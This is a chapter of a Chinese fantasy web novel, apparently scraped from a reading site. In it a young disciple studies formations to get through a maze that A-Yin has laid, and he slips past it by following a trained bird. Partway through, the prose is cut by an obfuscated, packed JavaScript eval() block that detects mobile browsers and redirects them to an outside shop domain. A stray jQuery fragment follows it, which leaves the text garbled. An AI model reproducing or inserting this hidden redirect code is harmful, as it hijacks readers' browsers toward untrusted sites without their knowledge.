与此同时,洱海别院,众多在此学习的段氏弟子皆是一脸震惊。往日里最爱溜出别院,逃课贪玩的神剑宫少宫主段宴,竟一改往日习性,整日端坐书房埋头翻书,甚至主动捧着书卷,登门寻院内夫子答疑解惑。
授课夫子见状,满心欣慰,暗自感慨自己教化有方,总算劝得这混世小魔头浪子回头,口中还不停絮絮叨叨,满心期许另一个请病假的小魔头归来后也能幡然醒悟、迷途知返。
耳边尽是夫子长篇大论的说教,段宴垂着眼,指尖捻着书页,心底悄悄翻了个白眼,面上却依旧眉眼温顺,一副虚心求教的乖巧模样,轻声开口发问:“夫子,那若是误入迷阵,最稳妥的破阵脱身之法是什么?”
夫子捋着花白胡须,娓娓道来:“世间迷阵大多依托奇门遁甲排布,核心便是寻得阵法生门。”他简单讲解几类基础破阵门道,末了又语重心长叮嘱,“只不过阵法一道入门容易、精通极难,你眼下最该关注的是你的课业。”
得到自己想要的答案的段宴“嗯嗯”了两声后抱着书跑了,抱着书快步离去,将夫子后半番劝学之言尽数抛在脑后,心里盘算着再搜罗几本阵法典籍深耕钻研。
院外小道上,段风正领着苍山一霸一众同伴结伴出游,撞见步履匆忙、怀里抱满书本的段宴,当场愣住,满眼诧异:“阿宴?你这是……干什么去?”
段宴闻声驻足抬眼,眉眼带了几分漫不经心,语气直白:“看不出来?去看书学习。”
段风沉默了。
段宴与好好学习这四个字组合在一起,怎么听起来这么别扭呢。
短暂沉默过后,段风看着一改往日贪玩性子、这几日埋头书本的段宴,试探性问道:“是因为无聊吗?我们打算去山上摸鸟蛋,要不要一起去?”毕竟从前这人最耐不住静坐读书,整日跟段方旬结伴四处招猫逗狗,最近段方旬请假不在,段宴也不乐意一直和苍山一霸的人混在一起,谁想到居然老老实实学习去了。
无聊?段宴心底暗自嗤笑,他这几日为了查资料快忙死了。
“算了,本公子还要研究点东西,”他懒得绕弯,直截了当地发问,“话说回来,段方旬请假到底干什么去了?什么时候回别院?”
自打那晚洱海沙洲偶遇自称阿音的小姑娘,第二天他便无视对方不许再来的警告,私自重返湖心沙洲,不料整片区域早已被布下迷阵。他在阵外兜转整整大半夜,始终找不到入阵路径,只能败兴而归。此番碰壁非但没有劝退他,反倒彻底勾起他的胜负欲,这几日泡遍藏书阁翻阅阵法古籍,一心想要破阵再见那人。
整个别院之中,综合成绩最好的便是段方旬,他次之。段宴本打算等段方旬归来,先调侃对方一波逃课摸鱼,再拉着对方联手钻研破阵之法,可这人一走便是半月,迟迟没有音讯。
“呃,”段风神色一僵,面露尴尬。作为段方旬至亲好友,他知晓一部分内情,只能含糊作答,“阿旬之前的确是生了风寒……不过叔叔好像有事托付才耽误了时间,不过估摸时日,应该很快就回来了。”
“啧。”段宴一听便懂,果然是借口病假逃课偷懒,轻嗤一声不愿多问,“行了,本公子还有事,先走一步,你们自便。”
说罢,他不再停留,抱着怀里的书籍,转身快步走向自己的独居院落。
让服侍的月白风清先离开后,段宴反手合上房门,将那几本关于奇门遁甲的书籍翻开放在桌案上,又找出之前几次迷路闯阵迷路时画的路线图铺在一旁,开始一点一点的对照。
“生门……”段宴指尖落在路线图上,垂眸细细思索破阵门路。他琢磨了好几天,猜测布阵之人应当是个阵法新手,十有八九就是那个叫阿音的小姑娘,对方虽说刻意把迷阵路径排布得错综复杂,可功底不足,阵法规制依然留有破绽。
布阵之人是新手,他这个破阵之人同样是新手,就看是谁能技高一筹。
即便最后推演失误,没办法正面破阵,他也留有后手。
段宴抬眼,目光落在桌角压着的一块沉甸甸的金锭上,唇角扬起一抹狡黠的笑意。
……
“阿嚏!”
正在看小说的钟离徽猝不及防打了个喷嚏。
“阿音阿音!你是感冒了吗!”蹲在水边鱼竿旁垂钓的小红鸟立刻转头,刚说完就反应过来似乎不对,“不对啊……你现在有了修为,应该不会感冒吧?”
“不知道,”钟离徽毫不在意地说,“也可能有人在后面提起我……说起来那个小子这几天天天来这转悠,就知道他不老实没听我之前的警告。”
“阵法拦住了,他进不来,”水面鱼漂忽然下沉,鱼竿自动回弹收线,小红鸟伸头往鱼篓里看了一下,遗憾地发现依然是条普通的草鱼,“今天就是任务最后一天了,阿音你真的不打算做这个任务了吗?”
“我说了,看缘分,”钟离徽赤足轻点湖面,脚踝系着的银铃沾水轻晃,撞出细碎清脆的叮当声响,语气漫不经心,“而且以防万一,布阵时我加了点炼心池的水,对方要是心术不正……哼哼。”
“阿音你想的真周到,”小红鸟知道自己作为系统,只能提建议不能代替宿主决定,“不过这几天阿音你怎么不练箫了?”
“这几天我一直想重新找回那个晚上的状态,但是一直失败,”钟离徽合上手中的小说,放在膝盖上,双手撑在身后,抬头望着漆黑的夜空,“之前你说过,问道阁抽到的书必然是我当下的需求,可我连着抽了三次全是狗血小说……你觉得是因为什么?”
第一次抽出《万人迷仙尊今天也不想谈恋爱》,第二次抽出《穿成炮灰后我强娶了情敌》,第三次抽出《霸道家主爱上身为寡妇的我》。
小红鸟迟疑地片刻:“呃……宫主喜欢这种类型的小说所以夹带私货?”
“不,”钟离徽说,“这些小说内容没什么特殊的意义,有意义的是小说本身。”
小红鸟脑内数据飞速运转,一时间拆解不透其中逻辑:“什么意思呀?我听不懂。”
“《太衍经》第一层为动静,讲究动静相生,张弛有度。”她说,“我之前一心求进,无论是吹箫、推演阵法、研读典籍,事事都逼自己抓紧进度,时时刻刻紧绷心神,一心只想尽快突破,操之过急,只知‘动’,完全忘了何为‘静’。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17884634|209452||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
毕竟任务时限为十八年,如今已经过了一年,而她修行才刚摸到门槛,幽宸宫的功能甚至还没完全解锁,心里难免压着一股紧迫感。
“都说心急吃不了热豆腐……古人诚不欺我。”钟离徽叹了口气,重新翻开手里那本《穿成炮灰后我强娶了龙傲天师兄》,语气松快不少,“所以我打算暂时放放修行的事,好好歇一阵子。
“原来如此,”小红鸟恍然大悟,“阿音你真聪明!”
“我也觉得我很聪明!”钟离徽喜滋滋地说,绝口不提自己不练箫的原因除了刚刚说的那些还有一个就是这些小说实在是太上头了。
虽说剧情狗血得离谱,但节奏跌宕抓人,一页接着一页根本停不下来,难怪宫主那么喜欢。钟离徽心想。
钟离徽意犹未尽地看完整本小说,余光扫到身侧的鱼篓。多亏小红鸟盯着自动垂钓,小小的竹篓早已塞得满满当当,一旁还摞着几个钓鱼钓到的宝箱。她随口问道:“钓鱼升级还差多少经验?”
这套复刻剑三的生活技能模板用着倒是省心,规则却和游戏原版别无二致,只能靠反复实操积攒熟练度升级。之前外出搜集的各类锻造、制药材料早就消耗一空,眼下能稳步提升等级的,也就只剩钓鱼这一项。
按照原本设定,垂钓必须搭配商铺鱼饵才能下杆,可这里的系统商城早已锁死无法兑换。好在钟离徽早前抽奖囤了一大堆鱼饵,存量充足,足够她安心钓上好一段时间。
何况小红鸟当初自诩当年学校考核第一,还特意改动了剑三模块代码,直接解锁了低等级自动垂钓功能。哪怕钓鱼等级才一级,也不用她守着鱼竿手动操作,省了大把功夫。
小红鸟打开面板看了一下经验条:“还差一半。”
“那今天就先收工,剩下的明天再弄。” 钟离徽站起身,随手拍了拍裙摆上本就没有的尘土,抬眼望向天边,“快到零点了,估摸不会有人再闯阵,咱们先回住处。”
今日守阵任务到凌晨便彻底截止,到这会儿阵外都没半点动静,想来那个少年终究没能破开迷阵,说到底还是缘分没到。
就在这时,一只灰扑扑的小鸟突然飞了过来,在上空盘旋着,啾啾地叫个不停。
钟离徽:?
钟离徽:“哪来的鸟?”
“许是路过的野鸟吧……等等,阿音你快看那边!” 小红鸟忽然失声惊呼。
钟离徽顺着它翅膀所指的方向望过去,厚重翻涌的白雾之间,一叶小舟慢慢破开水雾行来。
划船的少年一眼就瞧见了岸边驻足的钟离徽,当即扬起一抹亮眼的笑。小船稳稳靠上沙洲岸边,他几步跃上岸,三步并作两步蹿到钟离徽跟前,笑眯眯地打招呼:“小妹妹,又见面了。”
“你、你怎么会破了我的阵法!”钟离徽大惊失色。
“唔,其实没破阵。”段宴轻扬唇角,抬手吹了声清亮口哨,方才在上空盘旋的灰毛小鸟立刻敛翅俯冲,乖巧稳稳落在他肩头。
少年低头看向神色错愕的钟离徽,语气格外诚恳:“它能在天上指路,绕开了所有限制,我顺着它指引的的路线划船过来而已。”